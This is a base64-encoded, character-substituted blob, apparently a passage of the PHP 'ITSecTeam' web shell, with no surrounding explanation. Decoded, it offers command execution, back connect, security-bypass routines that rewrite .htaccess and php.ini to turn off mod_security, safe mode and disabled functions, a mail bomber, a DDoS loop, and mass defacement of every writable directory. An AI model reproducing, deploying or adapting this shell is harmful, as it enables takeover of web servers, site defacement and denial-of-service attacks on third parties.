9NWxzNXsxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpO30NCn0NCiRwNGNkNHI9JzRWQk9SdzBLR2cyQUFBQU5TVWhFVWdBQUFBMEFBQUFOQ0FZQUFBQnllK1I4QUFBQm8wbEVRVlJ1YW1OZ2dBQTNJQlpDd2p4QXpNNEFDdWpJeWtyWk9McGxoY1dsekEzTFNpMFB3a0ZSNFRQbDZUUURCU1FrN09GWVJNUzVqWTZOQWU0RjRVRkVVNG5Ld1MvbWNVUlc2Zjl3SUE3TnJQd2ZsRnJlb3oydzdiT0pkOUliUTgvRU43cTNjVyswWE9MNXlKdmlYbUVUVTlSalVEVjBvQmxYYVB1bzIxei9mYWhPK28rdmlQci9EbEVWLzg2RDR2L3IrNVQrVm9QTCtDL3RsdjVmUGVMenZlQlJ5RDhhYzU2SUJsMDcvek5KRmZvL0V5Mm4vUTh2N3YzZjBMUHFmb0R0N1A5bVlXWC82WU1yLzJzbFRmclBuempwdnVoOWFuOEIyN0QvckpKZTVReVNpbmVvUExKMS93Y1U5Zm9vSyt6OUg5Tzcrbi9UNFJmLzdYcG8vT2Rzb3Y5ZkpHbjRmb0hvN1AvQ2pxbi8rMXpqLzdQSUdyUXhzQm43UCtWYXlmelB1aWJ6bjljOTk3OWNaTm8vNkxVWC9rdE12ZjRmdGZuUWY4R3crdjhDb3ZuLytUeHkvb083WnY2blZqQ1p4OERxa1BDV3c3LzBQd2dMUnRiL2QrdmYvRitvZlBaL2p0RDEvMHk2Ty91elZXN2V6eGljL1IrbWhsbkZmQnNEbW9mT1ovYkloditjTVVvL3BYSW0veGRLN2Z1UHUyTXdXMHpMZjdiRW52L3MwYzZ3TVNZOWlvTU1Rbkc2UGlVS0ovOG5GZ3YxQno5allQVEpmTWFjYVBxZldNeDJHZkNGZ1VGR0t1cEJ3b3doMFZoQzNSU1VrbDRnMVk5WXpBSUEvWC9vUzYvaUVFTUFBQUFBU1VWT1JLaUNZSUk9JzsNCiRwNGNmNGw1PSc0VkJPUncwS0dnMkFBQUFOU1VoRVVnQUFBQTBBQUFBTkNBWUFBQUJ5ZStSOEFBQUIxRWxFUVZSdWFtTUlYZldmNWY3SlQ3WXJ6b3Uyb29BQmhqOUIxS0RZclBvUEVlSXFwZ2t5MklOTkZ6OUdubnp3L2YvTkZ6OHc4SllyWC8vUGFIZXpNckJ5NGpDS3BsNlhQa2I1NS9YdC8vZnZvekh3L2x0Zi94K3Uvdm5UN08wb2V3T3prVFMzUC9jMzhzMXp6LysvZlBtQ2dTOCsrdngvYWlYUC94Y2M1UHV4cmFkTFBGQWlNNmpUeXRQdklxODgvdmovdTBmYytPejZpLy9MT3haWEFaVnpnRFV0Ty9FZTh0TERELzgvZk1DQm9vL3VmL3Jxcy84bExRM3J1WjJXSG9zZDU1SCtoLy92bzcvSGp0Kzkvby95eXRQL1JVNkltM1k1Zmg2aTkzZTcvYS9mdnNXS283eGk4Ly91cFNmL0M5QTZuYjd6OXYvcjZlOXh1bU9YSHYvUFE5MTBBTzQ4TW9jZ0ptTERJRTBuTGo5QmRkZUNZeTg0ejl1QktuNE5CYitCMENkQm1wQUQyblA5L2NqbEJ4Ny9vb29xOGY4OXA5SHdHMUF1a0ZlZWkvNy9sR3FrSUhmd0tSMXg5WWg2dG9JSUNMWjZDQXBCeDZaQWJHSWJFQ3dscmE4SVZNdUtBUFpnd1F4Ykp5VjJBQUFBQUVsRlRrUzNRbUNDJzsNCiRoNTFkPSc8c3R5bDUgdHlwNT0idDV4dC9jc3MiPg0KQTpsNG5rIHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOnY0czR0NWQge3Q1eHQtZDVjMnIxdDQybjogbjJuNX0NCkE6MWN0NHY1IHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46IDNuZDVybDRuNSAydjVybDRuNTsgYzJsMnI6IHU2dTZ1Njt9DQouZjJjM3MgdGR7YjJyZDVyLXQycDowcHggczJsNGQgI2Y4ZjhmODtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCAjZGRkO2IxY2tncjIzbmQ6I2ZhZmFmYTtwMWRkNG5nOjBweCAwcHggMHB4IDBweDt9DQo8L3N0eWw1PjxoNTFkPg0KPG01dDEgaHR0cC01cTM0dj0iQzJudDVudC1UeXA1IiBjMm50NW50PSJ0NXh0L2h0bWw7IGNoMXJzNXQ9VVRGLTgiPg0KPHQ0dGw1PjRUUzVjVDUxbTwvdDR0bDU+DQo8L2g1MWQ+PGIyZHkgIHQycG0xcmc0bj0iMCIgbDVmdG0xcmc0bj0iMCIgcjRnaHRtMXJnNG49IjAiIA0KYmdjMmwycj0iI2ZhZmFmYSI+PGQ0diAxbDRnbj0iYzVudDVyIj4NCiZuYnNwOzx0MWJsNSBiMnJkNXI9IjYiIHc0ZHRoPSI2MDAwIiBoNTRnaHQ9IjZ1IiBiMnJkNXJjMmwycj0iI0NEQ0RDRCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczU7IGIycmQ1ci1zdHlsNTogczJsNGQ7IGIycmQ1ci13NGR0aDogNnB4Ij4NCjx0cj4NCjx0ZCBoNTRnaHQ9Im8wIiB3NGR0aD0iOTllIj4NCjxwIDFsNGduPSJjNW50NXIiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48c3AxbiBsMW5nPSI1bi0zcyI+PDEgaHI1Zj0iP2QyPWgybTUiPkgybTU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1mNGw1bTFuMWc1ciYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RjRsNSBNMW4xZzVyPC8xPiAtLSA8MSBocjVmPSI/ZDI9Y21kJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5DMm1tMW5kIEV4NWMzdDU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1iYyYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QjFjayBDMm5uNWN0PC8xPiAtLQ0KPDEgaHI1Zj0iP2QyPWJ5cDFzc2NtZCYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QnlwMXNTIEMybW0xbmQgNVg1YzN0NShTRi1ERik8LzE+IC0tIDwxIGhyNWY9Ij9kMj1zeW1sNG5rJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5TeW1sNG5rPC8xPiAtLQ0KPDEgaHI1Zj0iP2QyPWJ5cDFzc2Q0ciYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QnlwMXNTIEQ0cjVjdDJyeTwvMT4gLS0gPDEgaHI1Zj0iP2QyPTV2MWwmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPg0KRXYxbCBQaHA8LzE+IC0tIDwxIGhyNWY9Ij9kMj1kYiYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RDF0MSBCMXM1PC8xPiAtLSA8MSBocjVmPSI/ZDI9YzJudjVydCYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QzJudjVydDwvMT4gLS0gPDEgaHI1Zj0iP2QyPW0xNGwmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPk0xNGwgQjIybWI1cjwvMT48MSBocjVmPSI/ZDI9NG5mMiYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+DQo8YnI+UzVydjVyIEluZjJybTF0NDJuPC8xPiAtLSA8MSBocjVmPSI/ZDI9ZDBzbDJjMWwmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPkQycyBMMmMxbCBTNXJ2NXI8LzE+IC0tIDwxIGhyNWY9Ij9kMj1kM21wJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5CMWNrM3AgRDF0MWIxczU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1tMXNzJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5NMXNzIEQ1ZjFjNTwvMT4gLS0gPDEgaHI1Zj0iP2QyPWRsZjRsNSYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RDJ3bmwyMWQgUjVtMnQ1IEY0bDU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1kZDBzJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5ERDJTPC8xPiAtLSA8MSBocjVmPSI/ZDI9cDVybSYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RjRuZCBXcjR0MWJsNSBENHI1Y3Qycnk8LzE+IC0tIDwxIGhyNWY9Ij9kMj0xcDFjaDUmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPlM1cnY1cjwvMT4gLS0gPDEgaHI1Zj0iP2QyPXI1bTJ2NSYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+UjVtMnY1IE01PC8xPiAtLSA8MSBocjVmPSI/ZDI9MWIyM3QmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPkFiMjN0PC8xPg0KPC9zcDFuPjwvZjJudD48L3RkPjwvdHI+PC90MWJsNT48L2Q0dj4NCjxkNHYgMWw0Z249ImM1bnQ1ciI+DQo8dDFibDUgNGQ9InQxYmw1YSIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczU7IGIycmQ1ci1zdHlsNTogDQpzMmw0ZDsiIHc0ZHRoPSI2MDAwIiBiZ2MybDJyPSIjNTE1MTUxIiBiMnJkNXI9IjYiIGIycmQ1cmMybDJyPSIjY2VjZWNlIiANCmM1bGxwMWRkNG5nPSIwIj48dGIyZHk+PHRyPjx0ZD48ZDR2IDFsNGduPSJjNW50NXIiPjx0MWJsNSA0ZD0idDFibDVvIiBzdHlsNT0iYjJyZDVyLXN0eWw1OmQxc2g1ZDsgYjJyZDVyLXc0ZHRoOjZweDsgbTFyZzRuLXQycDogNnB4OyBtMXJnNG4tYjJ0dDJtOiAwcHg7IA0KYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgdzRkdGg9IjlpMCIgYjJyZDVyPSI2IiBiMnJkNXJjMmwycj0iI2NkY2RjZCINCmg1NGdodD0iNjAiIGIycmQ1cmMybDJybDRnaHQ9IiNDRENEQ0QiIGIycmQ1cmMybDJyZDFyaz0iI0NEQ0RDRCI+PHRiMmR5Pjx0cj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PGQ0diAxbDRnbj0iYzVudDVyIj4NCk9wNXIxdDQybiBTeXN0NW0gOiAnLnBocF8zbjFtNSgpLicgfCBQaHAgVjVyczQybiA6ICcucGhwdjVyczQybigpLicgfCBTMWY1IE0yZDUgOiAnLiRzMWY1X20yZDVzLicgPHRkIHN0eWw1PSJiMnJkNXI6IDZweCBzMmw0ZCByZ2IoNjk4LCA2OTgsIDY5OCk7IiANCnc0ZHRoPSI5aTAiIGJnYzJsMnI9IiM1NzVvZDUiIGg1NGdodD0iNjAiIHYxbDRnbj0idDJwIj4nOw0KJDVuZD0nPC90ZD48L3RyPjwvdGIyZHk+PC90MWJsNT48L2Q0dj48L3RkPjwvdHI+PHRyPjx0ZCBiZ2MybDJyPSIjY2VjZWNlIj48cCBzdHlsNT0ibTFyZzRuLXQycDogMHB0OyBtMXJnNG4tYjJ0dDJtOiAwcHQiIDFsNGduPSJjNW50NXIiPjxzcDFuIGwxbmc9IjVuLTNzIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+Jy5iMXM1ZXVfZDVjMmQ1KCJRYTlrWldRZ1lua2dRVzZwYjRCVDFHOXJiYWhwSUNoUVpXcGFZV3NwIikuJzxicj48MSBocjVmPSJodHRwOi8vd3d3LjR0czVjdDUxbS5jMm0iIHQxcmc1dD0iX2JsMW5rIj48ZjJudCBzNHo1PTY+Jy5iMXM1ZXVfZDVjMmQ1KCIxVlJUWldOVVpXRnRMbU52YlE9PSIpLic8LzE+PC9mMm50Pjwvc3Axbj48L3RkPjwvdHI+PC90YjJkeT48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+JzsNCiRkNW55PSRoNTFkLiI8cCAxbDRnbj0nYzVudDVyJz4gPGI+T2ggTXkgRzJkITxicj4gUDVybTRzczQybiBENW40NWQiLiQ1bmQ7DQpmM25jdDQybiAxbDVydCgkdDV4dCl7DQo1Y2gyICI8c2NyNHB0PjFsNXJ0KCciLiR0NXh0LiInKTwvc2NyNHB0PiI7DQp9DQo0ZiAoJF9HRVRbJ2QyJ109PSI1ZDR0IiAmJiAkX0dFVFsnZjRsNW4xbTUnXSE9ImQ0ciIpew0KNGYoNHNfcjUxZDFibDUoJF9HRVRbJzFkZHI1c3MnXS4kX0dFVFsnZjRsNW4xbTUnXSkpew0KJDJwNWQ0dD1mMnA1bigkX0dFVFsnMWRkcjVzcyddLiRfR0VUWydmNGw1bjFtNSddLCJyIik7DQp3aDRsNSghZjUyZigkMnA1ZDR0KSkNCiRkMXQxLj1mcjUxZCgkMnA1ZDR0LDk5OTkpOw0KZmNsMnM1KCQycDVkNHQpOyANCjVjaDIgJGg1MWQuJGYycm1wLiRuMncxZGRyNXNzLic8cCAxbDRnbj0iYzVudDVyIj5GNGw1IE4xbTUgOiAnLiRfR0VUWycxZGRyNXNzJ10uJF9HRVRbJ2Y0bDVuMW01J10uJzxicj48dDV4dDFyNTEgcjJ3cz0iNjkiIG4xbTU9ImY1ZDR0IiBjMmxzPSI4NyI+Jy5odG1sNW50NHQ0NXMoIiRkMXQxIikuJzwvdDV4dDFyNTE+PGJyPjw0bnAzdCB2MWwzNT0nLiRfR0VUWydmNGw1bjFtNSddLicgbjFtNT1uMW01ZjU+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBTMXY1ICAiPjwvZjJybT48L3A+Jy4kNW5kOzV4NHQ7DQp9NWxzNXsxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpO319DQpmM25jdDQybiBzNHo1NSgkczR6NSkNCnsNCiA0ZigkczR6NSA+PSA2MDdvN3U2OGF1KSB7JHM0ejUgPSBAcjIzbmQoJHM0ejUgLyA2MDdvN3U2OGF1ICogNjAwKSAvIDYwMCAuICIgR0IiO30NCiA1bHM1NGYoJHM0ejUgPj0gNjB1OGk3ZSkgeyRzNHo1ID0gQHIyM25kKCRzNHo1IC8gNjB1OGk3ZSAqIDYwMCkgLyA2MDAgLiAiIE1CIjt9DQogNWxzNTRmKCRzNHo1ID49IDYwYXUpIHskczR6NSA9IEByMjNuZCgkczR6NSAvIDYwYXUgKiA2MDApIC8gNjAwIC4gIiBLQiI7fQ0KIDVsczUgeyRzNHo1ID0gJHM0ejUgLiAiIEIiO30NCiByNXQzcm4gJHM0ejU7DQp9DQo0ZigkX1JFUVVFU1RbJ2QyJ109PScxYjIzdCcpew0KNWNoMiAkaDUxZC4iPHAgMWw0Z249J2M1bnQ1cic+PGI+PGYybnQgYzJsMnI9cjVkPklUUzVjVDUxbSwgSVQgUzVjM3I0dHkgUjVzNTFyY2ggJiBQNW41dHIxdDQybiBUNXN0NG5nIFQ1MW08L2I+PC9mMm50Pjxicj5WNXJzNDJuIGEuNiA8YnI+TDFzdCBVcGQxdDUgOiBhMDYwLzYwLzYwPGJyPkMyZDVkIEJ5IDogQW00biBTaDJrMmg0KFA1anYxayk8YnI+U3A1YzQxbCBUaDFua3MoTW9ockBuLlMgLCBBbSFya2hAbiAsIFJvZG0wdjUgLCBQcjJ2NGQ1ciAsIEh1bTRkQFRtb2wgLCAxaG0xZGIxZHkgLCBEMjJzNGIgKTxicj5IMm01IFAxZzUgOiA8MSBocjVmPSdodHRwOi8vd3d3LjR0czVjdDUxbS5jMm0nPmh0dHA6Ly93d3cuNHRzNWN0NTFtLmMybTwvMT48YnI+VXBkMXQ1IE4ydDRjNTogPDEgaHI1Zj0naHR0cDovLzR0czVjdDUxbS5jMm0vNW4vdDIybHMvNHRzNWN0NTFtX3NoNWxsLmh0bSc+SVRTNWNUNTFtIFNoNWxsPC8xPjxicj5GMnIzbSA6IDwxIGhyNWY9J2h0dHA6Ly93d3cuZjJyM20uNHRzNWN0NTFtLmMybSc+aHR0cDovL3d3dy5mMnIzbS40dHM1Y3Q1MW0uYzJtPC8xPjxicj4NCjxjNW50NXI+DQo8UFJFPg0KDQogX19fX19fICBfX19fX18gIF9fX18gICAgICAgICAgICAgICAgICAgX19fX19fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KL1xfXyAgX1wvXF9fICBfXC9cICBfYFwgICAgICAgICAgICAgICAgL1xfXyAgX1wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANClwvXy9cIFwvXC9fL1wgXC9cIFwsXExcX1wgICAgIF9fICAgIF9fX1wvXy9cIFwvICAgIF9fICAgICBfXyAgICAgIF9fXyBfX18gICAgDQogICBcIFwgXCAgIFwgXCBcIFwvX1xfXyBcICAgLydfX2BcIC8nX19fXCBcIFwgXCAgLydfX2BcIC8nX19gXCAgLycgX19gIF9fYFwgIA0KICAgIFxfXCBcX18gXCBcIFwgIC9cIFxMXCBcL1wgIF9fLy9cIFxfXy8gIFwgXCBcL1wgIF9fLy9cIFxMXC5cXy9cIFwvXCBcL1wgXCANCiAgICAvXF9fX19fXCBcIFxfXCBcIGBcX19fX1wgXF9fX19cIFxfX19fXCAgXCBcX1wgXF9fX19cIFxfXy8uXF9cIFxfXCBcX1wgXF9cDQogICAgXC9fX19fXy8gIFwvXy8gIFwvX19fX18vXC9fX19fL1wvX19fXy8gICBcL18vXC9fX19fL1wvX18vXC9fL1wvXy9cL18vXC9fLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCjwvUFJFPg0KDQoNCiIuJDVuZDs1eDR0Ow0KDQp9DQpmM25jdDQybiBkNWw1dDVENHI1Y3QycnkoJGQ0cikgew0KNGYgKCFmNGw1XzV4NHN0cygkZDRyKSkgcjV0M3JuIHRyMzU7DQo0ZiAoITRzX2Q0cigkZDRyKSB8fCA0c19sNG5rKCRkNHIpKSByNXQzcm4gM25sNG5rKCRkNHIpOw0KZjJyNTFjaCAoc2MxbmQ0cigkZDRyKSAxcyAkNHQ1bSkgew0KNGYgKCQ0dDVtID09ICcuJyB8fCAkNHQ1bSA9PSAnLi4nKSBjMm50NG4zNTsNCjRmICghZDVsNXQ1RDRyNWN0MnJ5KCRkNHIgLiAiLyIgLiAkNHQ1bSkpIHsNCmNobTJkKCRkNHIgLiAiLyIgLiAkNHQ1bSwgMDc3Nyk7DQo0ZiAoIWQ1bDV0NUQ0cjVjdDJyeSgkZDRyIC4gIi8iIC4gJDR0NW0pKSByNXQzcm4gZjFsczU7DQp9O31yNXQzcm4gcm1kNHIoJGQ0cik7fQ0KDQpmM25jdDQybiBkMndubDIxZCgkZjRsNTFkZCwkZjRuMW01KXsNCiRkbGY0bDUxPSRmNGw1MWRkLiRmNG4xbTU7DQpoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIgLiAkZjRuMW01KTsgICANCmg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi9kMndubDIxZCIpOw0KaDUxZDVyKCJDMm50NW50LUw1bmd0aDogIiAuIGY0bDVzNHo1KCRkbGY0bDUxKSk7DQpmbDNzaCgpOw0KJGZwID0gZjJwNW4oJCRkbGY0bDUxLCAiciIpOw0Kd2g0bDUgKCFmNTJmKCRmcCkpDQp7DQogICAgNWNoMiBmcjUxZCgkZnAsIGVpaW9lKTsNCiAgICBmbDNzaCgpOw0KfSANCmZjbDJzNSgkZnApOyANCn0NCjRmKCRfR0VUWydkMiddPT0icjVuMW01Iil7DQo1Y2gyICRoNTFkLiRmMnJtcC4kbjJ3MWRkcjVzcy4nPHAgMWw0Z249ImM1bnQ1ciI+PDRucDN0IHYxbDM1PScuJF9HRVRbJ2Y0bDVuMW01J10uJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xZGRyNXNzcjVuIHYxbDM1PScuJF9HRVRbJzFkZHI1c3MnXS4kX0dFVFsnZjRsNW4xbTUnXS4nPiBUMiA8NG5wM3QgbjFtNT1uMW01cjVuPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IiAgUzF2NSAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KDQo0ZiAoJF9HRVRbJ2J5MXAxY2g1J109PScyZm1zJyl7DQokZnM1PWYycDVuKGc1dGN3ZCgpLiRzbDFzaC4iLmh0MWNjNXNzIiwidyIpOw0KZndyNHQ1KCRmczUsJzxJZk0yZDNsNSBtMmRfczVjM3I0dHkuYz4NCiAgICBTNWMtLS0tLS1Fbmc0bjUgT2ZmDQogICAgUzVjLS0tLS0tU2MxblBPU1QgT2ZmDQo8L0lmTTJkM2w1PicpOw0KZmNsMnM1KCRmczUpOw0KfTVsczU0ZiAoJF9HRVRbJ2J5MXAxY2g1J109PSdieXMxcCcpew0KJGZzNT1mMnA1bihnNXRjd2QoKS4kc2wxc2guIi5odDFjYzVzcyIsInciKTsNCmZ3cjR0NSgkZnM1LCdPcHQ0Mm5zICtGMmxsMndTeW1MNG5rcw0KRDRyNWN0MnJ5SW5kNXggUDVyczQxbi1HM2xmLUYyci1FdjVyLmh0bWwnKTsNCmZjbDJzNSgkZnM1KTsNCn01bHM1NGYgKCRfR0VUWydieTFwMWNoNSddPT0nc2YxZGYnKXsNCiRmczU9ZjJwNW4oZzV0Y3dkKCkuJHNsMXNoLiJwaHAuNG40IiwidyIpOw0KZndyNHQ1KCRmczUsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCmZjbDJzNSgkZnM1KTsNCn0NCjRmKCRfR0VUWydkMiddPT0iMXAxY2g1Iil7DQo1Y2gyICRoNTFkLiRmMnJtZy4kbjJ3MWRkcjVzcy4nPHAgMWw0Z249ImM1bnQ1ciI+DQo8czVsNWN0IG4xbTU9YnkxcDFjaDU+DQo8MnB0NDJuIHYxbDM1PSIyZm1zIj5PZmYgTTJkNSBTNWMzcjR0eSguaHQxY2M1c3MpPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0iYnlzMXAiPkJ5cDFzcyBTeW1sNG5rKC5odDFjYzVzcyk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InNmMWRmIj5ENHMxYmw1IFMxZjUgTTJkNSAmIEQ0czFibDUgRjNuY3Q0Mm4oUGhwLjRuNCk8LzJwdDQybj4NCjwvczVsNWN0Pjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9NVg1YzN0NT48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KNGYoJF9HRVRbJ2QyJ109PSJkZDBzIil7DQo1Y2gyICRoNTFkLiRmMnJtZy4kbjJ3MWRkcjVzcy4nPHAgMWw0Z249ImM1bnQ1ciI+QWRkcjVzcyA6IDw0bnAzdCBuMW01PTNybGRkMCBzNHo1PWkwPiBUNG01IDogPDRucDN0IG4xbTU9dDRtNWRkMCBzNHo1PWUgdjFsMzU9dTAwMDA+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBERDJTICAiPjwvZjJybT48L3A+Jy4kNW5kOzV4NHQ7DQp9DQoNCjRmKCRfR0VUWyczcmxkZDAnXSAmJiAkX0dFVFsndDRtNWRkMCddKXsNCmYyciAoJDRkPTA7JCQ0ZDwkX0dFVFsndDRtNWRkMCddOyQ0ZCsrKXsNCiRmcD1uM2xsOw0KJGMybnQ1bnRzPW4zbGw7DQokZnA9ZjJwNW4oJF9HRVRbJzNybGRkMCddLCJyYiIpOw0Kd2g0bDUgKCFmNTJmKCRmcCkpIHsNCiAgJGMybnQ1bnRzIC49IGZyNTFkKCRmcCwgODY5YSk7DQp9DQpmY2wyczUoJGZwKTsNCn19DQo0ZigkX0dFVFsnZDInXT09ImRsZjRsNSIpew0KNWNoMiAkaDUxZC4kZjJybXAuJG4ydzFkZHI1c3MuJzxwIDFsNGduPSJjNW50NXIiPkQyd25sMjFkIFI1bTJ0NSBGNGw1ITxicj5BZGRyNXNzIDogPDRucDN0IG4xbTU9MWRsciBzNHo1PTcwPjxicj5TMXY1IFQyIDogPDRucDN0IG4xbTU9MWRzciB2MWwzNT0nLmc1dGN3ZCgpLiRzbDFzaC4nIHM0ejU9NzA+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBEMndubDIxZCAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KZjNuY3Q0Mm4gZDRycDUoJDFkZHI1cyl7DQpnbDJiMWwgJHNsMXNoOw0KJDRkZD0wOw0KNGYgKCRkNHJoNW4gPSBAMnA1bmQ0cigkMWRkcjVzKSkgew0Kd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZDRyaDVuKSkgew0KJHA1cm1kNHI9c3RyX3I1cGwxYzUoJy8vJywnLycsJDFkZHI1cy4kc2wxc2guJGY0bDUpOw0KNGYoJGY0bDUhPScuJyAmJiAkZjRsNSE9Jy4uJyAmJiA0c19kNHIoJHA1cm1kNHIpKXsNCjRmICg0c193cjR0MWJsNSgkcDVybWQ0cikpIHsNCiRkNHJkMXQxWyQ0ZGRdWydmNGw1bjFtNSddPSRwNXJtZDRyOyANCiQ0ZGQrKzsNCn0NCmQ0cnA1KCRwNXJtZDRyKTsNCgkJCX0NCgkJfQ0KCQljbDJzNWQ0cigkZDRyaDVuKTsNCgl9IDVsczUgew0KCQlyNXQzcm4gKCJuMnRwNXJtIik7DQoJfQ0KCTRmICgkZDRyZDF0MSl7DQoJcjV0M3JuICRkNHJkMXQxOw0KCX01bHM1ew0KCQlyNXQzcm4gIm4ydGYyM25kIjsNCg0KCX0NCn0NCmYzbmN0NDJuIGQ0cnBtMXNzKCQxZGRyNXMsJG0xc3NuMW01LCRtMXNzczIzcmM1KXsNCmdsMmIxbCAkc2wxc2g7DQokNGRkPTA7DQo0ZiAoJGQ0cmg1biA9IEAycDVuZDRyKCQxZGRyNXMpKSB7DQp3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkNHJoNW4pKSB7DQokcDVybWQ0cj1zdHJfcjVwbDFjNSgnLy8nLCcvJywkMWRkcjVzLiRzbDFzaC4kZjRsNSk7DQo0ZigkZjRsNSE9Jy4nICYmICRmNGw1IT0nLi4nICYmIDRzX2Q0cigkcDVybWQ0cikpew0KNGYgKDRzX3dyNHQxYmw1KCRwNXJtZDRyKSkgew0KNGYgKCRmbT1mMnA1bigkcDVybWQ0ci4kc2wxc2guJG0xc3NuMW01LCJ3Iikpew0KZndyNHQ1KCRmbSwkbTFzc3MyM3JjNSk7DQpmY2wyczUoJGZtKTsNCiRkNHJkMXQxWyQ0ZGRdWydmNGw1bjFtNSddPSRwNXJtZDRyOyANCn0NCg0KJDRkZCsrOw0KfQ0KZDRycG0xc3MoJHA1cm1kNHIpOw0KCQkJfQ0KCQl9DQoJCWNsMnM1ZDRyKCRkNHJoNW4pOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAoIm4ydHA1cm0iKTsNCgl9DQoJNGYgKCRkNHJkMXQxKXsNCglyNXQzcm4gJGQ0cmQxdDE7DQoJfTVsczV7DQoJCXI1dDNybiAibjJ0ZjIzbmQiOw0KDQoJfQ0KfQ0KNGYoJF9HRVRbJ2QyJ109PSJwNXJtIil7DQo1Y2gyICRoNTFkLiRmMnJtcC4nPHAgMWw0Z249ImM1bnQ1ciI+RjRuZCBBbGwgRjJsZDVyIFdyNHQ1MWJsNTxicj4gPDRucDN0IG4xbTU9MWZmdyB2MWwzNT0iJy5nNXRjd2QoKS4kc2wxc2guJyIgczR6NT1pMD48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIFM1MXJjaCAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KNGYgKCRfUE9TVFsnMWZmdyddKXsNCiQxcnJmNGw1bDRzdD1kNHJwNSgkX1BPU1RbJzFmZncnXSk7DQo0ZiAoJDFycmY0bDVsNHN0PT0nbjJ0ZjIzbmQnKXsNCjFsNXJ0KCJOMnQgRjIzbmQgISIpOw0KfTVsczU0ZigkMXJyZjRsNWw0c3Q9PSduMnRwNXJtJyl7DQoxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpOw0KfTVsczV7DQpmMnI1MWNoICgkMXJyZjRsNWw0c3QgMXMgJHRtcGQ0cil7DQoJCTRmICgkYzI0ICVhKXsNCiRjMmwycnQ9JyIjNTc1b2Q1Iic7DQp9NWxzNXsNCiRjMmwycnQ9JyIjNXU1NmQ1Iic7fQ0KJGMyNCsrOw0KJHA1cm1kNHI9JHA1cm1kNHIuJzx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiBiZ2MybDJyPScuJGMybDJydC4nIHc0ZHRoPSI5aTAiIGg1NGdodD0iYTAiIGQ0cj0ibHRyIj4NCjx0cj48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSI4dWEiPjxwIDFsNGduPSJsNWZ0Ij48c3AxbiBsMW5nPSI1bi0zcyI+P